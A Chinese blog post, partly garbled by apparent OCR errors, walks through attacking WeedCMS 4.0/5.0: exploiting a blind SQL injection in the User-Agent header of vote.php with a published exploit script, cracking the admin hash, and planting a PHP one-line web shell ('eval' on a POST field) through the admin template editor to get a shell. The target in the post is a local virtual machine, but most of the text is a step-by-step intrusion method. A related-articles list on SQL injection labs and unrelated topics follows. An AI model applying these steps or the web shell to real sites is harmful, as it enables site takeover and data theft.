利用野草weedcmsuseragent盲注漏洞拿shell
野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统。面向企业、个人、小门户等中小规模网站使用而开发的。采用国际上比较流行Smarty引擎和敏捷的JQuery JS框架。
在tools.net上看到有人公布了Weedons的USER_AGENT盲洼漏洞,漏洞影响Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把这个漏洞介绍给大家。
一.漏洞简单分析
这个漏洞的公布者是sswowo,sswowo已经进行了比较详细的分析,这里直接引用。
出现漏洞的文件是vote.php,USER_ AGENT直接插入数据库,没有经过过滤,导致产生Insert型SQL注入。由于无错误提示,只能进行盲注。代码就不具体写下来了,有需要的可以找我要。
我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。
首先程序通过GET获取了action变量,如果ac tio n==ok。则处理投票,然后调用了checkrequest()函数对请求进行验证,我们跟进一下这个函数,找到includes/function.php第390行。
我们可以看到,只对REFERER,进行了简单的正则匹配,和XjHO ST进行了比对,我们可以通过伪造请求R卫FERER即可绕过此验证。
接着程序获取了vote_id变量,我们给他传人一个不存在的ID即可,防止在不同的目标环境中导致程序逻辑被中断,然后我们看后面在最后插入投票数据时,直接获取了$_SERVER[’HTTP_USER—AGENT']并且没有任何过滤,而且$_SERVEFR变量是不受magic_quotes_gpc保护的,所以该漏洞通用性很好,几乎可以通杀。最后使用了$db->insert0函数插入到了数据库,我们跟一下这个函数看有没有过滤。找到includes/class_db.php第20-7我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。漏洞分析就简单引用到这里,下面来看漏洞利用过程。
二.漏洞利用
我从网上下载了野草Weedcms最新版本的野革内容管理系统WeedC MS v5.o build 20110101的源代码,用AppServ在虚拟机里把程序运行了起来。
USER_AGENT盲注漏洞怎么利用呢?别急,sswowo已经给出了一个漏洞的利用EXP,把EXP的代码保存为weedcmsexp.php备用。由于EXP是用PHP代码写的,因此需要用php.exe进行解析。有的朋友可能不知道php.exe在哪里,安装了PHP就有了,我搭建php WEB环境用的AppServ里自带_r'phpS,我就不用再安装PHP了,直接使用了。AppServ中php5的安装目录为C:\AppServ\php5,按键盘上的WIN+R键调出“运行”,输入cmd后回车就打开了命令提示符,输入c dVl:JJ换到C盘根目录下,然后输入cd C:YAppServ\php5,回车,切换到php.exeF在的目录。把漏洞利用EXP weedcmsexp.php复制到C:\AppServ\php5目录下,在命令提示符下输入php.exeweedcmsexp.php就会看到EXI,怎么用。后面跟的4个参数分别为:目标主机端口程序路径(以/开头结尾)延时。要对我虚拟机里搭建的Weedcms进行注入,输入php.exe weedcmsexp.php127.0.0.1 80”/weed/””2”,回车后会看到一行行信息滚过。
注入完成后,猜解出的管理员的用户名为admin,密码为d033 e22ae348aeb5660fc2140aec35850c4da997,密码是经过shal加密的,在在线破解网站得到了管理员的用户名和密码就该进后台想办法拿shell了。Weedcms的后台登录文件是网站根目录下的admin_.php,用得到的用户名和密码顺利进入了后台。
虽然Weedcms 4.0和5.0都可以注入,但我只会在进入Weedcms 5.0的后台后才能获得shell,对于4.O版本的We edcms在后台没找到拿shell的方法,也许我太菜了,有知道怎么拿shell的欢迎和我交流。Weedcms 5.0后台拿shell的方法我是学的心灵公布的野草weedcms 5.0写马漏洞的方法。具体利用方法为在Weedcms的网站地址后面加上如下代码:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,访问后打开的页面。
是编辑模板文件的页面,在文件头插入<?eval($一POST[x]);?>,提交后访问一下网站首页,php-句话木马就写到temps/compile/目录下的part_vote.html.php文件中了,用lanker-句话PHP后门客户端3.O内部版连接获得shell。
虽然Weedcms不是很大众,但这个漏洞仍然有值得大家留意的地方,比如USER AGENT盲注的方法,如果有能力的可以借鉴下漏洞利用EXP的代码,相信你会有所收获。
利用野草weedcmsuseragent盲注漏洞拿shell的更多相关文章
- metinfo小于v6.2.0版本通杀SQL盲注漏洞分析
0x01 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞. 0x02 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/syst ...
- SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入 真 and 假 = 假 (1)...where u ...
- 【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)
允许130次尝试,然后是个盲注漏洞,看来要单字符猜解了 加单引号,页面异常,但报错被屏蔽了 http://192.168.136.128/sqli-labs-master/Less-62/?id=1' ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- Blind SQL injection:盲注详解
什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
- 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...
随机推荐
- h3c mstp的举例
h3c交换机的图如下: 分别对于SWA,SWB,SWC,SWD,SWE 配置如下: SWA: vlan 10 vlan 20 vlan 30 region-name h3c instance 0 vl ...
- JAVA进阶12
间歇性混吃等死,持续性踌躇满志系列-------------第12天 1.字符串的概述和特点 java.lang.String类代表字符串 API当中说,Java程序中所有的字符串字面值(如“abc& ...
- underscore用法大全
1._.find函数 var one = _.find(all, function (item) { return item.C_ID == selected; }); $('#C_NAME').va ...
- 【算法】K最近邻算法(K-NEAREST NEIGHBOURS,KNN)
K最近邻算法(k-nearest neighbours,KNN) 算法 对一个元素进行分类 查看它k个最近的邻居 在这些邻居中,哪个种类多,这个元素有更大概率是这个种类 使用 使用KNN来做两项基本工 ...
- c语言宏定义详解
1,防止一个头文件被重复包含 #ifndef COMDEF_H #define COMDEF_H //头文件内容 #endif 2,重新定义一些类型,防止由于各种平台和编译器的不同,而产生的类型字节数 ...
- 洛谷P3398 仓鼠找suger
传送门啦 思路: 那么从 $ A $ 到 $ B $ 可以分解成 先从 $ A $ 到 $ X $ 再从 $ X $ 到 $ B $ ... 另一个同理 假设能相遇 那么 要么在 $ A $ 到 $ ...
- 点击页面上的元素,页面删除removeChild()
简单描述:最近做了一个图片上传,上传完成回显图片的时候,需要用到点击图片,从页面删除的效果,然后就找到了removeChild()方法,说实话,我刚看到的时候,就觉得这个问题已经解决了,但是却发现这个 ...
- 《剑指offer》整数中1出现的次数
本题来自<剑指offer> 反转链表 题目: 思路: C++ Code: Python Code: 总结:
- 开启Golang编程第一章
Go is an open source programming language that makes it easy to build simple,reliable, and effcient ...
- 精通ArrayList,关于ArrayList你想知道的一切
目录 精通ArrayList,关于ArrayList你想知道的一切 前言 ArrayList 内部结构,和常用方法实现 实例化方法 添加元素 add()方法 get()方法 移除元素 怎么扩容的 序列 ...